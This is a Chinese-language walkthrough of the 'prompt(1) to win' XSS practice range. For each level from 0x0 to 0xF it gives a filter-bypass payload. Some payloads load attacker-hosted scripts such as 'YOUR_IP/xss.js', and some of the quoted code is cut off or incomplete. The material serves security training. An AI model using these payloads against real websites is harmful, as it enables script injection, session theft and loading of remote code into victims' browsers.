prompt(1) to win - XSS靶场练习
prompt(1) to win - XSS靶场练习
接触的比赛越多越发觉自己的实力还是太弱了,还是要努力变强。
一直对XSS的理解很模糊,主要还是没做过多少这类的类型题,在谭总那找到个靶场打算开始练练。
开始开始!
序言
prompt(1) to win这个在线靶场能够直观的查看自己的XSS代码被过滤后的结果,比较方便练习。
0x0
第一关没过滤东西,只需要闭合一下前面的\"
就行了。
"><script>prompt(1)</script>
0x1
对于过滤<
和>
中的内容时,可以使用<BODY
标签进行绕过<BODY onload="prompt(1)"
onload 事件在页面载入完成后立即触发。
或者使用<img
标签进行绕过<img src=# onerror="prompt(1)"
1 | <BODY onload="prompt(1)" |
0x2
这关把=
和 (
ban掉了,但是可以使用svg标签绕过
SVG属于支持XML解析,所以那么我们就很好理解了,因为下xml支持在标签内解析HTML实体字符,所以在在XML中
(
会被解析成(
1 | function escape(input) { |
payload:
1 | <svg><script></script> |
0x3
1 | function escape(input) { |
这关把输入口放在了注释标签中,且把注释标签的闭合过滤了,找找其他的闭合。
1 | // |
payload:
1 | --!><script>prompt(1)</script> |
0x4
1 | function escape(input) { |
这关利用正则对字符串进行了过滤,开头必须为http://prompt.ml/
。
原本以为是可以在中间构造语句闭合进行绕过的,但是发现会转为实体字符,这条线走不通。
看了看师傅们的wp,浏览器是支持这种url写法的
1 | https://username:password@attacker.com,但是https://username:password/@attacker.com不行,这里由于用了decodeURIComponent,所以可以用%2f解码绕过。 |
这里要用到自己的服务器,直接传个prompt(1)
的js文件上去,然后访问。
tips:这种url写法chrome并不支持,火狐还可以用。
还有一种方法是直接开phpstudy的服务器,这样就可以不用自己的服务器打。
payload:
1 | http://prompt.ml%2f@localhost/xss.js |
0x5
1 | function escape(input) { |
这关过滤了>
、onxxxx=
、focus
,可以用"
闭合value
,然后自定义type="image"
,最后利用换行符绕过onxxxx=
payload:
1 | " type="image" src=# onerror="prompt(1) |
0x6
1 | function escape(input) { |
这关通过demo发现总共有action
、method
、name
和value
是可控的。
1 | <form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form> |
if语句通过了,则会submit我们的action值。这里可以利用 javascript:
js伪协议进行js代码执行,然后可以通过控制 name
的值,破坏窗口的action属性,进而绕过 if
。
上测试:
1 |
|
可以发现输出了我们想要的东西。
payload:
1 | javascript:prompt(1)#{"action":"Matt"} |
0x7
1 | function escape(input) { |
这关限制了只能有12个字符,可以用js的多行注释来注释掉多出来的标签。
payload:
1 | "><script>/*#*/prompt(1/*#*/)</script> |
result:
1 | <p class="comment" title=""><script>/*"></p> |
tips:注释符也算在长度中。
0x8
1 | function escape(input) { |
这题绕单行注释,可以换行进行绕过,但是ban 掉了两个换行符,这里可以用到 unicode 编码进行绕过,然后用 js 的注释 ->
注释掉后面的 ");
\u2028,Unicode行分隔符
\u2029,Unicode段落分隔符
这题好像有坑,无法复现,过!
0x9
1 | function escape(input) { |
toUpperCase()
存在漏洞,不仅会转换英文字母,也会转换一些 Unicode
字符,比如 ſ
传入后可转换为相似的 S
,这样就可以绕过开始的 replace
。
payload:
1 | <ſcript src="YOUR_IP/xss.js"></script> |
0xA
1 | function escape(input) { |
这关比较简单,就把单引号替换为空,只要在 prompt(1)
中间加个单引号就行了。
payload:
1 | pro'mpt(1) |
0xB
1 | function escape(input) { |
小 trick ,利用字母操作符构造 (prompt(1)) in "."
,虽然会报错,但是仍可以弹窗。
由于 js 定义对象时同一属性名的会先取后面的,所以可以利用这个 trick 实现 XSS。
payload:
1 | "(prompt(1))in" |
0xC
1 | function escape(input) { |
这关用到三个函数。
parseInt() // 可以将字符串通过进制转换为数字
toString() // 可以将数字通过进制转换回字符串
eval() // 可以将字符串当作正常语句执行
直接给出测试
payload:
1 | eval(630038579..toString(30))(1) ==> prompt(1) |
0xD
1 | function escape(input) { |
这关有两个知识点
js 对象的默认属性
__proto__
js 的 replace 字符串特殊替换模式
首先是 js 对象的默认属性
每个对象都会在其内部初始化一个属性,就是
__proto__
,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__
里面找这个属性,这个__proto__
又会有自己的__proto__
,一直这样找下去。
上测试!!
所以当题目 delete config.source
时,后面用到的 config.source
就是 __proto__
属性里的,这样就可控了。
然后是 js 的 replace 字符串特殊替换模式,主要看这个,或者直接去网站看。
Pattern | Inserts |
---|---|
$$ | Inserts a "$" . |
$& | Inserts the matched substring. |
$` | Inserts the portion of the string that precedes the matched substring. |
$‘ | Inserts the portion of the string that follows the matched substring. |
$n | Where n is a positive integer less than 100, inserts the n th parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1 -indexed. If a group n is not present (e.g., if group is 3), it will be replaced as a literal (e.g., $3 ). |
$<Name> | Where Name is a capturing group name. If the group is not in the match, or not in the regular expression, or if a string was passed as the first argument to replace instead of a regular expression, this resolves to a literal (e.g., $<Name> ). Only available in browser versions supporting named capturing groups. |
直接上测试比较好理解点。
这样就可以做到既保留了 <img
标签,又可以控制输入,这样就可以做到XSS了。
直接上payload:
1 | {"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}} |
0xE
1 | function escape(input) { |
第一个 replace 是将 //
或 (任意字母数字):
替换为 data:
。
第二个 replace 是将 \ 、 & 、+ 、% 和空白字符替换为 _____ 。
又因为有 toUpperCase() 在,所以注入 XSS 是不大好搞的,尝试引用外部脚本。
尝试了下,把我自己的服务器放上去拿不到全大写字母加数字的 base64 编码,就先放 payload 在这了
1 | "><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4= |
0xF
1 | function escape(input) { |
这关虽然把 *
替换掉了,但是可以利用 <svg>
标签去使用 <!-- -->
替代多行注释。
payload:
1 | "><svg><!--#--><script><!--#-->prompt(1<!--#-->);<!--#--></script> |
1 | <p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p> |
Summary
写完这个靶场算是多了解了点 XSS(有点刚学 RCE的感觉¿
但是感觉接触的还不够,只是些绕过过滤什么的,最主要的利用 拿shell 弹shell? 应该是可以的,目前还没遇到过,还是得多练练。